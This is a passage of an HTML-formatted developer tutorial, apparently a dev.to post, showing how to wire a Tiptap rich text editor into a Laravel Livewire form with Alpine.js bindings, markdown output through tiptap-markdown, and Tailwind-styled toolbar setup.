          &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;content&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nx"&gt;editor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getHTML&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt;

          &lt;span class="nx"&gt;editor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;commands&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setContent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;content&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;});&lt;/span&gt;
        &lt;span class="nx"&gt;editor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;commands&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setContent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;content&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A few words about &lt;code&gt;$watch&lt;/code&gt;. Well, you can "watch" a component property using the $watch magic method. So in our case, whenever the &lt;code&gt;content&lt;/code&gt; property changes we fire a callback.&lt;/p&gt;

&lt;p&gt;Now this code is ready to listen to and connect with Livewire. Does that make sense? 😅&lt;br&gt;
Jump ahead and see how we use it from inside a blade component. Setup the blade component&lt;/p&gt;
&lt;h2&gt;
  
  
  Livewire integration
&lt;/h2&gt;

&lt;p&gt;Let's break the Livewire implementation into steps—because who doesn’t love making complex things a bit more painful, right? But seriously, taking it step by step will help us actually understand what’s going on. We'll go from setting up the components to wrangling the data flow between the frontend and backend, all while making sure the rich text editor behaves. This way, we can avoid that 'what is even happening?' moment later on.&lt;/p&gt;
&lt;h3&gt;
  
  
  Step 1: Create the Livewire Component
&lt;/h3&gt;

&lt;p&gt;I’m sure you’re familiar with how everything in &lt;strong&gt;Livewire&lt;/strong&gt; is built as a &lt;strong&gt;component&lt;/strong&gt;, so I won’t dive into the details of that. Instead, let's get straight into creating a Livewire component named &lt;code&gt;PostForm&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#or sail artisan&lt;/span&gt;
php artisan make:livewire Post/PostForm
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This will create two different files: &lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;A class:  &lt;code&gt;app/Livewire/Post/PostForm.php&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;A livewire frontend component: &lt;code&gt;resources/views/livewire/post/post-form&lt;/code&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;blockquote&gt;
&lt;p&gt;I like grouping my Livewire components under the model they serve because I didn’t do that in the past, and I deeply regretted it.  &lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Step 2: Setup the Livewire Component
&lt;/h3&gt;

&lt;p&gt;Let's start with setting down the validation of our model!&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;PostForm&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="nc"&gt;Component&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nf"&gt;Validate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="p"&gt;[&lt;/span&gt;
            &lt;span class="s1"&gt;'post.name'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'required'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'min:3'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'max:100'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
            &lt;span class="s1"&gt;'post.body'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'required'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
        &lt;span class="p"&gt;],&lt;/span&gt;
        &lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
            &lt;span class="s1"&gt;'post.name.required'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'A post without a name... That works!'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="s1"&gt;'post.name.min'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'Too small... That\'s what she said!'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="s1"&gt;'post.name.max'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'Too large!!! That\'s what she didn\'t say'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="p"&gt;)]&lt;/span&gt;

    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="nv"&gt;$post&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;# The value that's going to be entangled&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I've also included some messages, to spice up the app a bit 🌶️ !&lt;/p&gt;

&lt;p&gt;Now let's create a simple showcase of how to save our model!&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;save&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$validated&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;validate&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="c1"&gt;# Security tip. Always add a policy to authenticate the create/update functionality. &lt;/span&gt;
    &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;authorize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'updateOrCreate'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$post&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; 

    &lt;span class="nv"&gt;$post&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Post&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;updateOrCreate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'id'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;post&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'id'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
        &lt;span class="p"&gt;[&lt;/span&gt;
            &lt;span class="s1"&gt;'name'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$validated&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'post'&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="s1"&gt;'name'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
            &lt;span class="s1"&gt;'user_id'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nc"&gt;Auth&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;id&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
            &lt;span class="s1"&gt;'instructions'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$validated&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'post'&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="s1"&gt;'body'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;# Redirect to the same page, but on the edit&lt;/span&gt;
    &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'posts.form'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$post&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;navigate&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here I’m handling both the create and update functions for the model in a single file. You don’t have to do this—I’m just being lazy and avoiding the hassle of managing two files. Efficiency, right? 🫠&lt;/p&gt;

&lt;p&gt;For the &lt;strong&gt;Frontend&lt;/strong&gt; setup now we'll add a minimal form that will fire our &lt;code&gt;save&lt;/code&gt; method when submitted:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;form&lt;/span&gt; &lt;span class="na"&gt;wire:submit=&lt;/span&gt;&lt;span class="s"&gt;'save'&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;div&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;x-form.input.editor&lt;/span&gt; &lt;span class="na"&gt;wire:model=&lt;/span&gt;&lt;span class="s"&gt;"post.body"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/x-form.input.editor&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;textarea&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"w-full bg-slate-900"&lt;/span&gt; &lt;span class="na"&gt;wire:model=&lt;/span&gt;&lt;span class="s"&gt;'post.body'&lt;/span&gt; &lt;span class="na"&gt;cols=&lt;/span&gt;&lt;span class="s"&gt;"30"&lt;/span&gt; &lt;span class="na"&gt;rows=&lt;/span&gt;&lt;span class="s"&gt;"10"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/textarea&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;textarea&lt;/code&gt; should be deleted after we have finalized the example. I am adding it at this point to see if the editor works as expected!&lt;/p&gt;

&lt;h2&gt;
  
  
  Setup the Blade Component
&lt;/h2&gt;

&lt;p&gt;This Blade component handles all the logic for the &lt;strong&gt;Tiptap Rich Text Editor&lt;/strong&gt; and will be named &lt;code&gt;tiptap.blade.php&lt;/code&gt;. I like to keep things organized, so it’ll go under &lt;code&gt;resources/views/components/form/input/&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;It may seem a bit over the top, but this simple system has saved me from the headache of revisiting old projects. Having cleared that out, now paste the following code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;x-data=&lt;/span&gt;&lt;span class="s"&gt;"setupEditor(
    $wire.entangle('{{ $attributes-&amp;gt;wire('model')-&amp;gt;value() }}')
)"&lt;/span&gt; &lt;span class="na"&gt;x-init=&lt;/span&gt;&lt;span class="s"&gt;"() =&amp;gt; init($refs.editor)"&lt;/span&gt; &lt;span class="na"&gt;wire:ignore&lt;/span&gt; &lt;span class="err"&gt;{{&lt;/span&gt; &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="na"&gt;attributes-&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;whereDoesntStartWith('wire:model') }}&amp;gt;
    &lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;x-ref=&lt;/span&gt;&lt;span class="s"&gt;"editor"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This snippet needs some explanation: &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;x-data="setupEditor(...)"&lt;/code&gt;: Initializes an Alpine.js component using the &lt;code&gt;setupEditor&lt;/code&gt; function. This function is passed a two-way data binding (&lt;code&gt;$wire.entangle&lt;/code&gt;) to synchronize the Tiptap editor's state with the Livewire model. Remember what &lt;code&gt;setupEditor&lt;/code&gt; is doing. Install Tiptap.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;$wire.entangle('{{ $attributes-&amp;gt;wire('model')-&amp;gt;value() }}')&lt;/code&gt;: Binds the editor's data with the Livewire model, ensuring changes made in the editor are automatically synced with the server.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;x-init="() =&amp;gt; init($refs.editor)"&lt;/code&gt;: On initialization, the init function is called, passing the reference to the editor DOM element (&lt;code&gt;$refs.editor&lt;/code&gt;), which initializes the Tiptap editor.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;wire:ignore&lt;/code&gt;: Instructs Livewire to ignore this particular DOM element, preventing Livewire from re-rendering the Tiptap editor’s DOM when it updates other parts of the page.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;$attributes-&amp;gt;whereDoesntStartWith('wire:model')&lt;/code&gt;: Ensures that any attribute starting with wire:model is excluded, so it doesn't interfere with the custom bindings and functionality of the component.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;&amp;lt;div x-ref="editor"&amp;gt;&amp;lt;/div&amp;gt;&lt;/code&gt;: Creates a reference for the editor (&lt;code&gt;x-ref="editor"&lt;/code&gt;) to allow Alpine.js to target this specific element for initializing the Tiptap editor.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Having done all that we should have this result on our page.&lt;br&gt;
&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgzyut7eba8cg8egjo723.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgzyut7eba8cg8egjo723.png" alt="my image saved on sudorealm.com" width="" height=""&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You see, this blew my mind! The result is incredibly raw and flexible, giving us full control to customize and add functionalities as we need. You’ll see exactly what I mean as we continue with the example, where we’ll dive into customizations and feature enhancements.&lt;/p&gt;
&lt;h2&gt;
  
  
  Markdown support
&lt;/h2&gt;

&lt;p&gt;As I’m sure you’ve noticed, Tiptap by default transforms our text into HTML, which I’m personally not a big fan of. Markdown output, though—that I like! Thanks to &lt;a href="https://github.com/aguingand" rel="noopener noreferrer"&gt;aguingand&lt;/a&gt; though we can easily include markdown support to our tiptap editor. Let's follow the instructions of &lt;a href="https://github.com/aguingand/tiptap-markdown" rel="noopener noreferrer"&gt;tiptap-markdown&lt;/a&gt; repo.&lt;/p&gt;

&lt;p&gt;Install the extension package&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm &lt;span class="nb"&gt;install &lt;/span&gt;tiptap-markdown
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Update our &lt;code&gt;app.js&lt;/code&gt; file like so&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;./bootstrap&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// should already exist do not paste that :P &lt;/span&gt;

&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;Editor&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@tiptap/core&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;StarterKit&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@tiptap/starter-kit&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;Markdown&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;tiptap-markdown&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;//new line&lt;/span&gt;

&lt;span class="p"&gt;...&lt;/span&gt;
      &lt;span class="nx"&gt;extensions&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;StarterKit&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;Markdown&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
      &lt;span class="nx"&gt;content&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;content&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="nx"&gt;onUpdate&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;editor&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;content&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;editor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;storage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;markdown&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getMarkdown&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="c1"&gt;// new function&lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;
      &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;content&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nx"&gt;editor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;storage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;markdown&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getMarkdown&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="c1"&gt;// new function&lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's all really. Now instead of &lt;code&gt;HTML&lt;/code&gt; the editor will produce markdown. &lt;strong&gt;Clean! 🧼&lt;/strong&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;This clearly demonstrates the power of open-source software and how leveraging it correctly can give your product a competitive edge in the market!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Toolbar Work and Customization
&lt;/h2&gt;

&lt;p&gt;This is where the fun begins! We’re going to add the essential buttons for our minimal text editor and customize it with Tailwind CSS to make it look sleek. Most importantly, we’ll ensure it feels like a natural part of our app.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="p"&gt;...&lt;/span&gt;
    &lt;span class="nf"&gt;init&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;element&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;editor&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Editor&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
      &lt;span class="na"&gt;element&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;element&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="na"&gt;editorProps&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="na"&gt;attributes&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
          &lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;p-2 prose-sm min-h-60 prose-h1:mb-0 focus:border-indigo-500 dark:focus:border-indigo-600 focus:ring-indigo-500 dark:focus:ring-indigo-600 focus:outline-none&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="p"&gt;},&lt;/span&gt;
      &lt;span class="p"&gt;},&lt;/span&gt;
      &lt;span class="na"&gt;extensions&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="nx"&gt;StarterKit&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;configure&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
            &lt;span class="na"&gt;heading&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="na"&gt;levels&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
            &lt;span class="p"&gt;},&lt;/span&gt;
        &lt;span class="p"&gt;}),&lt;/span&gt;
        &lt;span class="nx"&gt;Markdown&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
    &lt;span class="p"&gt;],&lt;/span&gt;
      &lt;span class="na"&gt;content&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;content&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="na"&gt;onUpdate&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;editor&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;content&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;editor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;storage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;markdown&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getMarkdown&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
      &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;})&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;editor&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;editor&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;toggleBold&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;editor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;chain&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;focus&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;toggleBold&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
